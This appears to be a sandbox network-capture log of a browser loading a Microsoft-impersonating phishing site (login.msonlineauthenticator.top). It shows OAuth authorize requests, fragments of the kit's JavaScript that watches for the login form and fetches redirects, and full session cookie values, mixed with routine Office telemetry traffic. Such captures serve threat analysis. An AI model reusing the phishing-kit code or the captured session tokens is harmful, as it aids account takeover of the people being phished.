2024-11-26 12:44:09 UTC	645	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.msonlineauthenticator.top sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.msonlineauthenticator.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:44:10 UTC	797	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:09 GMT Content-Type: application/x-javascript Content-Length: 49911 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 02 Oct 2024 20:05:23 GMT ETag: 0x8DCE31D8CF87EF9 x-ms-request-id: b424ba50-801e-0028-3a6c-39a2fe000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241126T124409Z-174f7845968cpnpfhC1EWR3afc0000000v60000000000cfb x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:10 UTC	15587	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 b4 3b 77 1a d2 dd cc 00 61 08 cc cc 2e b0 5c 4e ac 80 bb 83 9d b5 1d 68 06 72 7e fb a9 17 c9 96 1d 87 ee d9 3d d7 f9 f2 cc 0b b1 a5 92 2c 95 aa 4a 55 a5 92 b4 f9 d3 da ff 54 7e aa 6c fc f8 3f 95 e1 79 ef ec bc 32 f8 58 39 ff 7c 78 76 50 39 85 b7 7f 54 4e 06 e7 87 fb fd 1f af 07 3f 8a ff 9f df f9 71 65 e2 4f 45 05 7e 47 6e 2c bc 4a 18 54 c2 a8 e2 07 e3 30 9a 85 91 9b 88 b8 72 0f 7f 23 df 9d 56 26 51 78 5f 49 ee 44 65 16 85 5f c4 38 89 2b 53 3f 4e a0 d0 48 4c c3 c7 4a 15 aa 8b bc ca a9 1b 25 4f 95 c3 53 b3 0e f5 0b a8 cd bf f5 03 28 3d 0e 67 4f f0 7c 97 54 82 30 f1 c7 a2 e2 06 1e d5 36 85 97 20 16 95 79 e0 89 a8 f2 78 e7 8f ef 2a c7 fe 38 0a e3 70 92 54 22 31 16 Data Ascii: m[80OL;wa.\Nhr~=,JUT~l?y2X9\|xvP9TN?qeOE~Gn,JT0r#V&Qx_IDe_8+S?NHLJ%OS(=gO\|T06 yx*8pT"1
2024-11-26 12:44:10 UTC	16384	IN	Data Raw: bb 0c 77 90 36 70 02 a2 23 27 68 d7 13 77 83 5b ce 75 c8 5d 1e 38 7e d8 ef 65 93 b7 51 ba 99 a3 99 6e c4 c1 49 25 dd 80 44 6f 6d d6 5b f8 24 0d de 5f 42 cf db 25 c7 07 20 5b 70 93 25 fa 4a f2 b1 09 72 79 ab 24 b3 29 e5 95 16 1b 3c 9b e3 f6 1e bc 63 2b a7 73 9c 09 3c 7b 87 34 0e 7c c0 b3 7e cf c4 83 50 e7 60 ac d8 21 42 fd 4d eb 90 1b 4e 38 90 99 77 8e e0 d0 a6 2f bd 49 a2 b4 57 da 5c 87 87 25 cd 61 58 8e c4 2d 4e ad 5b 1a 28 47 10 3f 31 5a 3e 44 bc 65 2b c5 c3 87 fc 45 47 b6 f1 b7 8f bd 8f 7b 1f 77 8d bc 52 c5 f3 16 77 73 08 e5 a7 d2 38 b4 8d 58 7b 03 2e 80 2a 7d 95 75 9f bd f0 3c 9d e0 69 54 92 0e 40 a4 ab 30 9c 54 f3 53 f3 32 8c 02 fa 7d e9 16 60 90 4a da 17 b0 b9 c2 43 2e b7 f6 3f 0c ce 10 8a e3 b7 49 a4 a8 49 28 d5 0d 41 59 e3 36 4b e1 be dd c8 64 fa Data Ascii: w6p#'hw[u]8~eQnI%Dom[$_B% [p%Jry$)<c+s<{4\|~P`!BMN8w/IW\%aX-N[(G?1Z>De+EG{wRws8X{.*}u<iT@0TS2}`JC.?II(AY6Kd
2024-11-26 12:44:10 UTC	16384	IN	Data Raw: 6c 5a 04 6d 94 02 7c 5f 33 90 18 0e f6 15 fb 9f fd c2 2d 7c f6 09 99 56 e0 1b df 55 00 e9 61 19 a9 ae 08 b4 08 de 5e 5e 8b 45 87 04 e9 6b b8 4e 14 17 ac 44 38 17 c4 11 e4 15 f5 05 82 e4 5a e1 00 e1 b1 7a c3 5a 2a cb eb 40 53 54 ab c1 7c ad ba a5 5c a6 6e 38 df 2e 84 c6 0f 51 3b 3d 74 de 84 36 7f d1 36 c8 68 2e a7 19 09 6f b4 0d 8a 69 11 fc 25 99 f6 55 32 25 02 a3 cd f2 e5 b9 1f 5a 92 03 c5 6a 6e d0 c6 ff b1 0d 05 a2 16 7e 06 11 d8 2f e6 d8 0b d6 12 91 54 cd 2a 90 95 47 9c 89 ce 07 af 7b 17 a7 3f 3f c1 8f fe 53 46 e8 38 88 e1 92 f5 d4 34 4b ca ff d8 a1 26 dd bc d2 22 ad b5 44 6f f6 c3 ab 20 de c6 32 0d 70 78 26 6a f3 08 a8 73 81 d6 01 20 73 48 80 a3 ea 25 4e 2a 1f eb b1 f6 d7 5d 21 e3 43 50 cc 65 af 1d a9 f7 78 ab d5 9d ad 16 9b 6a 23 b0 19 6a 77 87 19 d4 Data Ascii: lZm\|_3-\|VUa^^EkND8ZzZ@ST\|\n8.Q;=t66h.oi%U2%Zjn~/TG{??SF84K&"Do 2px&js sH%N*]!CPexj#jw
2024-11-26 12:44:10 UTC	1556	IN	Data Raw: c8 f9 f6 eb 34 7d f4 dd 37 c9 ee f7 8f f6 e2 dd 6f 66 df 7e bf fb 7d f2 f5 de 6e fc a7 bd af f7 bf 9d 3d fa d3 77 5f ff c9 21 56 2a a5 73 b5 26 36 2a 27 82 5f 12 0b 55 10 07 45 ac c1 2c da 23 56 89 cf dd 43 f9 73 20 7f 9e 75 9c 76 3f 1a ef 92 4a 90 bf 91 22 52 db 77 24 13 55 ce a9 1a 01 89 98 e7 e9 12 09 35 70 a9 69 d1 8b 04 3e 39 b8 03 34 3d 1a 1b f6 0d 11 dc b4 09 a7 5a e3 8c 8b a0 d8 8e 04 67 bc 91 4c 62 e2 2d 07 7e 93 24 60 c7 c4 68 e0 da 03 1d 6c 3c 21 5c 7a 3a 4f b3 ab 34 19 29 dd 15 7b 6b c9 37 46 ce 38 f3 54 8a b9 ab e3 f2 64 a2 b4 95 f8 ed 6f a1 2d 95 5b 98 f6 b3 12 95 75 5d 1b eb 28 7f d3 8a 79 02 81 cc da 41 13 ca b3 45 0d 0a 89 e2 cd 78 84 e3 f1 cc c7 60 84 29 31 ff 70 62 90 50 0e 31 a6 45 b5 e7 53 db ac f1 3b a1 c9 6b 77 f7 30 e5 18 a3 e1 de Data Ascii: 4}7of~}n=w_!Vs&6'_UE,#VCs uv?J"Rw$U5pi>94=ZgLb-~$`hl<!\z:O4){k7F8Tdo-[u](yAEx`)1pbP1ES;kw0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:09 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:10 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:09 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 47663499-e01e-0051-6891-3f84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124409Z-174f7845968qj8jrhC1EWRh41s0000000v9g00000000bd8z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:10 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:10 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:11 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:10 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 2a3cc61f-301e-001f-7491-3faa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124410Z-174f7845968xr5c2hC1EWRd0hn0000000cd0000000000s3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:11 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.7	49849	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:11 UTC	1073	OUT	GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90/697e47d51e6d8cca3cc04e14861a6d8f24131fd2a0218661bca3b5c9569e9cd3.js HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA
2024-11-26 12:44:11 UTC	17	IN	HTTP/1.1 200 OK
2024-11-26 12:44:11 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-26 12:44:11 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-26 12:44:11 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-11-26 12:44:11 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-11-26 12:44:11 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:11 UTC	5	IN	Data Raw: 62 64 38 0d 0a Data Ascii: bd8
2024-11-26 12:44:11 UTC	3032	IN	Data Raw: 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6c 6f 61 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 6c 65 74 20 66 6f 72 6d 47 72 6f 75 70 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 65 6d 61 69 6c 50 72 65 46 69 6c 6c 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 77 69 6e 42 75 74 74 6f 6e 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 0a 20 20 2f 2f 20 43 72 65 61 74 65 20 61 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 20 74 6f 20 77 61 74 63 68 20 66 6f 72 20 63 68 61 6e 67 65 73 20 69 6e 20 74 68 65 20 44 4f 4d 0a 20 20 63 6f 6e 73 74 20 6f 62 73 65 72 76 65 72 20 3d 20 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 66 75 6e 63 74 69 6f 6e 28 6d 75 74 61 74 Data Ascii: window.addEventListener('load', function() { let formGroupLoaded = false; let emailPreFilled = false; let winButtonLoaded = false; // Create a MutationObserver to watch for changes in the DOM const observer = new MutationObserver(function(mutat
2024-11-26 12:44:11 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:11 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-11-26 12:44:11 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.7	49851	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:11 UTC	1008	OUT	GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90.js HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA
2024-11-26 12:44:11 UTC	17	IN	HTTP/1.1 200 OK
2024-11-26 12:44:11 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-26 12:44:12 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-26 12:44:12 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-11-26 12:44:12 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-11-26 12:44:12 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:12 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2024-11-26 12:44:12 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2024-11-26 12:44:12 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:12 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-11-26 12:44:12 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:11 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:11 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:11 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 9fc3e736-101e-0046-4391-3f91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124411Z-174f7845968psccphC1EWRuz9s0000000vn000000000a6a3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:11 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	49854	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:11 UTC	2938	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-11-26 12:44:12 UTC	17	IN	HTTP/1.1 200 OK
2024-11-26 12:44:12 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-26 12:44:12 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
